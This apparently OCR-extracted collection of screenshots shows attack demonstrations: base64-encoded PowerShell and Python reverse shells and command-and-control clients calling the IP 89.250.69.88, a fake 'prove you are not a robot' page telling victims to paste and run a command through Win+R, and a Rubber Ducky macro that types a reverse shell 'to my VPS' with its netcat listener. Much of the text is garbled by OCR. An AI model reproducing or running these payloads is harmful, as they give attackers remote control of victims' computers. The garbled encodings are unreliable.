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2 Windows PowerShell X SR N - O X
PS C:\Users\rocco> powershell -e JABjAGWAaQBLAGUAdAAgADOAIABOAGUAdwAtAESAYQB
gAGUAYwWBOACAAUWBS5AHMAJABLAGOALgBOAGUAdAAUAFMAbWBjAGSAZQBOAHMALgBUAEMAUABDAGW
AaQBLAGUAJAAOACIAOAASACHAMgA1ADAALgA2ADKALgAL4ADgATIgASADgAOAALADgAKQA7ACQACKB
OAHIAZQBhAGOAIAA9ACAAJABJAGWAaAQBLAGUAJAAUAECAZQBOAFMAJABYAGUAYQBtACgAKQA7AFs
AYgBS5AHQAZQBbAFOAXQAKAGIAeQBOAGUACWAgADOATIAAWACUHALgA2ADUANQAZADUAFAATAHSAMAB
~ 9ADsAdwBoAGKAbABLTACgAKAAKAGKATIAA9ACAAJABZAHQACgBLAGEADQAUAFTAZQBhAGQAKAAKAGI
!?AeQB@AGUAchsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAGuAZQA
gADAAKQB7ADsAJABKAGEAJABhACAAPQAgACgATgBLAHCALQBPAGIAagBLAGMAdAAgACOAVABSAHA
AZQBOAGEAbQBLACAAUWBS5AHMAJABLAGOALgBUAGUAeABOACHAQQBTAEMASQBJAEUAbgBjAGBAZAB
pAGUAZWApACUARWBTAHQAUWBOAHIA2QBUAGCAKAAKAGIAeQBOAGUAcCWASADAALAAGACQAaQApPADs
- AJABzAGUAbgBKAGIAYQBjAGSAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAQADIAPgAmMADEATIAB
 8ACAATWB1AHQALQBTAHQAcgBpAGUAZWAgACKAOWAKAHMAZQBUAGQAYgBhAGMAawAyACAAPQAgQACQ
AcwBlAGUAZABiAGEAYwBrACAAKWAgACIAUABTACAAIgAgACSATIAAoAHAAdwBKACKALgBQAGEAJAB
. 0ACAAKWAgACIAPgAgACIAOWAKAHMAZQBUAGQAYgB5AHQAZQAgADOATIAAOAFSAJABLAHgAdAAUAGU
) AbgBjAG8AZABpAGUAZWBAADOAOgBBAFMAQWBJIAEKAKQAUAECAZQBOAEIAeQBOAGUACWAOACQACKB
~  LAGUAZABiAGEAYwWBrADIAKQA7ACQACWBOAHIAZQBhAGOALgBXAHIAAQBOAGUAKAAKAHMAZQBUAGQ
AYgB5AHQAZQASADAALAAKAHMAZQBUAGQAYgB5AHQAZQAUAEWAZQBUAGCcAdABoACKAOWAKAHMAAB
yAGUAYQBtACUARgBsAHUAcwBoACgAKQB9ADSAJABjAGWAaQBLAGUAJAAUAEMADABVAHMAZQAOACK
A
At line:1 char:1

;qf+ $client = New-Object System.Net.Sockets.TCPClient("89.250.69.88",8888
I D N N P PN P P N P N PPN PP PN P PP PP

antivirus software.
+ CategoryInfo
rdException
+ FullyQualifiedErrorId

ParserkError: (:) [], ParentContainsErrorReco
ScriptContainedMaliciousContent

il-,,PS C:\Users\rocco>
B

ponization

|

[

| =
2 Windows PowerShell X | R = 0 X
PS C:\Users\rocco> python —-c "import base6ud; exec(baseé6uU.b6Udecode('aWlwb3J0
THJILcXV01c3RzCmltcG9ydCBzdWIwecm9jZXNzCmltcG9ydCBOaWllCmltcG9ydCBzeXMKCnNlcnZl
c1l91cmwgPSAiaHROcDovLzg5LJI1MCH20S440Do4MCIKY2h1lY2tfaW50ZXJ2YWwgPSA1CgpkZWYg
ZXhlY3VeZV9)b21tYWSKKGNvbW1hbmQpOgogICAgIiIiIGNvbW1lhbmQgZXhlY3VOaWouICIiIgog
ICAgdHJ50g0gICAgICAgIHILc3VsdCA9IHN1YnByb2N1c3MuY2hlY2tfb3VOCcHVOKGNVbW1hbmQs
THNoZWxsPVRydWUsIHNOZGVycjlzdWIwcm9jZXNzLTNURE9VVCKKICAgICAgICBYZXR1cmidgcmVz
dWxOLmR1Y29kZSgndXRmLTgnLCBLlcndvenM9J21nbm9yZScpCiAgICBLleGNLcHQgc3VicHIvY2Vz
cy5DYWxsZWRQcm9jZXNzRXJyb3IgYXMgZToKICAgICAgICBYZXR1cmidgc3RyKGUpCgpkZWYgbWFp
bigpO0gogICAgd2hpbGUgVHJI1ZToKICAgICAgICBOcnk6CiAgICAgICAgICAgICMgZ2VOIGNVbW1h
bmQgZnJvbSBzZXJ2ZXIKICAgICAgICAgICAgcmVzcG9uc2UgPSBYZXF1ZXNOcy5nZXQoZiJ7c2Vy
dmVyX3VybHOVY29tbWFuZCIsIHRpbWVvdAXQ9MTApCiAgICAgQICAgQICAGIGLMIHILc3BvbnNLLNN®
YXR1c19jb2R1IDO9IDIWMDoKICAQICAgICAgICAgICAgIGNVbW1hbmQgPSBYZXNwb252ZS50ZXh0e
LnNOcmlwKCKKICAgICAgQICAgICAgICAGIGLmIGNVbW1hbmQubG93ZXIoKSA9PSA1ZXhpdCI6CiAg
ICAgICAgICAgICAgICAgICAgYNJLlYWsgICMgY2xvc2Ugc2hlbGwKICAgQICAgICAgICAgICAQgIGIl
dHB1dCA9IGVUZWN1dGVFY29tbWFuZChjb21tYW5S5kKQogICAgICAgICAgQICAgICAgCiAgICAgICAg
ICAgICAgICAjIHN1bmQgb3VOcHVOCiAgICAgICAgICAgICAgQICBYZXF1ZXNOcySwb3NOKGYie3N1
cnZ1lc191cmx9L3J1c3VsdCIsIGRhdGE9eyJvdXRwdXQi0iBvdXRwdXR9KQogICAgICAgIGVUY2Vw
dCByZXF1ZXNOcy5SZXF1ZXNORXhjZXBOaWouOgogICAgICAgICAgICBWYXNZICAjIGVycm9yIGLln
bm9yZQogICAgICAgIHRpbWUuc2x1ZXAoY2hlY2tfaW50ZXJI2YWwpCgppZiB+FX25hbWVFXyA9PSAL
X19tYWluX18i0gogICAgbWFpbigp'))"

| letd]
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Complete these
Verification Steps

To better prove you are not a robot, please:

1. Press & hold the Windows Key @@ + R.

2. In the verification window, press Ctrl + V.

3. Press Enter on your keyboard to finish.

You will observe and agree:
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cution |

= macro_reverse_shell.txt X > M

c2 > demo_rubber_ducky > = macro_reverse_shell.txt

REM ##### HUHBHHHHBHHH
REM # rubber ducky macro reverse shell —— demo

REM # server command: sudo nc -lvnp 8888

REM ###HHHHHHHHHHHHHHHHHHHHHH R R RS

.

.

i
SHW N =

REM wait for USB
DELAY 1500

Yy DN

O 00

REM start menu command: Win+R
GUI r
DELAY 1500

|
i
.
},J },_'. "1
B W N =2 e

REM open powershell prompt
STRING powershell

DELAY 1500

ENTER

DELAY 1500

} e

1
1
=
O 00 N Oy i

-

REM open reverse shell (to my VPS)
STRING powershell -e
= JABjAGwAaQB1AG4AdAAQgADOATIABOAGUAdwATAEBAYgBqAGUAYWBOACAAUWBSAHMAJABTAGOALgBOAGUAdAAUAFMAbwWBjAGSAZQBOAHMALgBUAEMAUABDAGwA2QB LAG4AdAAOACTIAOAASAC4AMgA1ADAALGA
2ADKALgA4ADgAIgASADgAOAA4ADgAKQA7ACQACWBOAHIAZQBhAGOATIAA9ACAAIABjAGwAaQB1AG4AdAAUAECAZQBOAFMAJABYAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAFOAXQAKAGIAeQBOAGUACWAQAD
T OAIAAWAC4ALgA2ADUANQAZADUATAATAHSAMAB9ADSAdwBOAGKAbABTACQAKAAKAGKATIAA9ACAAIABzAHQACgBTAGEADQAUAFIAZQBhAGQAKAAKAGIAeQBOAGUACWASACAAMAASACAAJABiAHKAdABTAHMAL
gBMAGUAbgBnAHQAaAApACKATAAtAG4AZQAgADAAKQB7ADSAJABKAGEAdABhACAAPQAQACgATgBLAHCALQBPAGIAagB LAGMAdJAAgACOAVABSAHAAZQBOAGEADQB TACAAUWB5AHMAJAB LAGOALgBUAGUAeAB®O
AC4AQQBTAEMASQBJAEUAbgBjAG8BAZABpAG4AZWAPAC4ARWB TAHQAUWBOAHIAaQBUAGCAKAAKAGIAeQBOAGUACWASADAALAAGACQA2QApADSAIABZAGUAbgBKAGIAYQBjAGSATAA9ACAAKABpAGUAeAAgACQ
AZABhAHQAYQAgADIAPgAMADEATIABSACAATWB1AHQALQBTAHQACgBpAG4AZWAQACKAOWAKAHMAZQBUAGQAYgBhAGMAawAyACAAPQAQACQACwBLAG4AZABiAGEAYWBrACAAKWAgACIAUABTACAAIQAgACSAIA
AoAHAAdwBKACKALgBQAGEAdABOACAAKwWAGACIAPgAgACIAOWAKAHMAZQBUAGQAYgB5SAHQAZQAQADOATIAA0AFSAdABTAHgAdAAUAGUAbgBjAGBAZABpAG4AZwWwBdADOAOgBBAFMAQwWBIAEKAKQAUAECAZQBOA
EIAeQBOAGUACWAOACQACWB1AG4AZABiAGEAYWBrADIAKQA7ACQACWBOAHIAZQBhAGOALgBXAHIAaQBOAGUAKAAKAHMAZQBUAGQAYgB5AHQAZQASADAALAAKAHMAZQBUAGQAYgB5AHQAZQAUAEWAZQBUAGCA
dABoACKAOWAKAHMAdABYAGUAYQBtAC4ARgBsAHUAcwBOACgAKQB9ADSAJAB]jAGwAaQBLAG4AdAAUAEMADABVAHMAZQAOACKA

]
N
(W)

Qﬁ ﬁ EJE;'” 21 DELAY 1500
: . 22 ENTER
T v = 23 DELAY 1500
= - =z = &M 24 ENTER
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- — ® Vsults ™ SFTP X BitHorn 0 [contaba sarvar

R *« Debug
WARNING: This 15 » doevelopment server. Do not use 1t in a production deploymant. Use » production WSGI server Ynate
od.

Press CYRLOC to quit
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alic@gost ~] e . bobspectre ~ T PR ==
lEne =v. 2030 113.7.4242 | nc ~v 198.5.108.51.100.9: 4888 akd
| connected to #b7f2 | session id: #b7f2 o / ‘
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